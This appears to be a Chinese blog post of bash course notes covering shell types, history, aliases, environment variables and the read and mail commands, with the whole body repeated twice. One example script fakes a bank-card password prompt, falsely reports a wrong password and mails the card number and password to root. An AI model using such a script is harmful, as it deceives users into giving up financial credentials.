尚观学习-shell-基础 & 环境变量 & 自定义变量
2012-11-23 12:06
891 查看
一.Bash的定义、种类、更改
shell 是命令解释器
shell 的分类:
cat /etc/shells
chsh –l
ls /bin/*sh
默认 shell: bash
shell 的更改:
/bin/bash
chsh 改变登录账号的shell
chsh user1 改变特定用户的shell
vim /etc/passwd
二.bash的特性:补全、历史、别名、脚本
history 显示历史命令
~/.bash_history 文件
history -c 清空历史命令
使用历史命令
!l !+命令的首字母
!ls !+命令的前几个字母
!3 !+命令的行号
最后一个命令的最后一个参数
Alt + .
!$
[root@localhost tmp]# cd /tmp/
[root@localhost tmp]# !$
/tmp/
bash: /tmp/: is a directory
别名
alias 查看别名
[root@localhost ~]# alias
alias cp='cp -i'
alias l.='ls -d .* --color=tty'
alias ll='ls -l --color=tty'
alias ls='ls --color=tty'
alias mv='mv -i'
alias rm='rm -i'
alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'
设置别名
[root@localhost ~]# alias grep='grep --color'
永久生效:
写进四个脚本里
/etc/bashrc
/etc/profile
~/.bashrc
~/.bash_profile
取消别名:
临时取消\
永久取消unalias
三.环境变量、自定义变量
环境变量:
env 查看所有环境变量
set 查看所有变量
echo $变量名 //输出变量值
常用环境变量:
USER
HOME
HOSTNAME
PWD
UID
PS1
PATH
自定义变量:
变量名称只能由字母,数字,下划线组成,不能以数字开头
[root@localhost ~]# vim ~/.bash_profile
14 export a=4
[root@localhost ~]# echo $a
[root@localhost ~]# source ~/.bash_profile //source使变量生效
[root@localhost ~]# echo $a
4
[root@localhost ~]#
read var
// read读标准输入,并将值赋给参数
read -t 5 var // -t: timeout
read -p "提示信息" var // -p prompt
[root@localhost ~]# read var
how are you?
[root@localhost ~]# echo $var
how are you?
[root@localhost ~]# read -p "请输入一个数字:" number
请输入一个数字:1
[root@localhost ~]# echo $number
1
[root@localhost ~]# read -p "请在5秒之内输入一个数字:" -t 5 number
请在5秒之内输入一个数字:1
[root@localhost ~]# read -p "请在5秒之内输入一个数字:" -t 5 number
请在5秒之内输入一个数字:[root@localhost ~]# //超时,什么都不执行
例子:
#!/bin/bash
# read test
read -p "请输入你的银行卡帐号" num
read -p "请在五秒内输入密码" -t 5 pass
echo "你的密码错误!"
echo $num |mail -s "card num" root
echo $pass|mail -s "card pass" root
mail 查看当前帐号的邮件
mail 数字 查看第几封邮件
[root@localhost ~]# mail -s "hello" user200 // 给某个帐号发邮件 -s subject
hi //ctrl+D结束
Cc: //Enter略过
[root@localhost ~]#
shell 是命令解释器
shell 的分类:
cat /etc/shells
chsh –l
ls /bin/*sh
默认 shell: bash
shell 的更改:
/bin/bash
chsh 改变登录账号的shell
chsh user1 改变特定用户的shell
vim /etc/passwd
二.bash的特性:补全、历史、别名、脚本
history 显示历史命令
~/.bash_history 文件
history -c 清空历史命令
使用历史命令
!l !+命令的首字母
!ls !+命令的前几个字母
!3 !+命令的行号
最后一个命令的最后一个参数
Alt + .
!$
[root@localhost tmp]# cd /tmp/
[root@localhost tmp]# !$
/tmp/
bash: /tmp/: is a directory
别名
alias 查看别名
[root@localhost ~]# alias
alias cp='cp -i'
alias l.='ls -d .* --color=tty'
alias ll='ls -l --color=tty'
alias ls='ls --color=tty'
alias mv='mv -i'
alias rm='rm -i'
alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'
设置别名
[root@localhost ~]# alias grep='grep --color'
永久生效:
写进四个脚本里
/etc/bashrc
/etc/profile
~/.bashrc
~/.bash_profile
取消别名:
临时取消\
永久取消unalias
三.环境变量、自定义变量
环境变量:
env 查看所有环境变量
set 查看所有变量
echo $变量名 //输出变量值
常用环境变量:
USER
HOME
HOSTNAME
PWD
UID
PS1
PATH
自定义变量:
变量名称只能由字母,数字,下划线组成,不能以数字开头
[root@localhost ~]# vim ~/.bash_profile
14 export a=4
[root@localhost ~]# echo $a
[root@localhost ~]# source ~/.bash_profile //source使变量生效
[root@localhost ~]# echo $a
4
[root@localhost ~]#
read var
// read读标准输入,并将值赋给参数
read -t 5 var // -t: timeout
read -p "提示信息" var // -p prompt
[root@localhost ~]# read var
how are you?
[root@localhost ~]# echo $var
how are you?
[root@localhost ~]# read -p "请输入一个数字:" number
请输入一个数字:1
[root@localhost ~]# echo $number
1
[root@localhost ~]# read -p "请在5秒之内输入一个数字:" -t 5 number
请在5秒之内输入一个数字:1
[root@localhost ~]# read -p "请在5秒之内输入一个数字:" -t 5 number
请在5秒之内输入一个数字:[root@localhost ~]# //超时,什么都不执行
例子:
#!/bin/bash
# read test
read -p "请输入你的银行卡帐号" num
read -p "请在五秒内输入密码" -t 5 pass
echo "你的密码错误!"
echo $num |mail -s "card num" root
echo $pass|mail -s "card pass" root
mail 查看当前帐号的邮件
mail 数字 查看第几封邮件
[root@localhost ~]# mail -s "hello" user200 // 给某个帐号发邮件 -s subject
hi //ctrl+D结束
Cc: //Enter略过
[root@localhost ~]#
相关文章推荐
- 尚观学习-shell-预定义变量 & 位置变量
- shell学习-基础(变量、输入、输出、数组、环境变量)
- centos shell基础 alias 变量单引号 双引号 history 错误重定向 2>&1 jobs 环境变量 .bash_history source配置文件 nohup & 后台运行 cut,sort,wc ,uniq ,tee ,tr ,split, paste cat> 2.txt <<EOF 通配符 glob模式 发邮件命令mail 2015-4-8 第十二节课
- [Shell]Bash变量:自定义变量 & 环境变量 & 位置参数变量 & 预定义变量
- Linux学习日记 —— 10.4.2 Shell基础-Bash变量-环境变量
- Shell(bash)脚本学习之--------内建/外建,自定义变量和环境变量
- 尚观学习-shell-置换 & 变量替换 & 引用
- shell-bash学习01基础、打印、环境变量
- 从学习export命令理解到的Shell环境和变量生存期
- Shell基础知识 (2) 之 管道符和作业控制、变量、环境变量配置文件
- shell中的环境变量和自定义变量
- shell基础-环境变量配置文件
- Shell基础-Bash变量-环境变量(上)
- linux超级基础系列——shell变量(本地变量和环境变量)
- Hadoop学习<一>--hadoop安装和环境变量设置
- shell基础变量扩展学习
- Linux学习--第十天--bash脚本、用户自定义变量、环境变量、位置参数变量、预定义变量、标准输入输出、wc、history、dd、PS1
- shell学习整理(3)- 玩转变量和环境变量
- RHCE课程-RH033Linux基础笔记四之shell以及环境变量
- [转]Awk基础入门之三:shell & awk 变量传递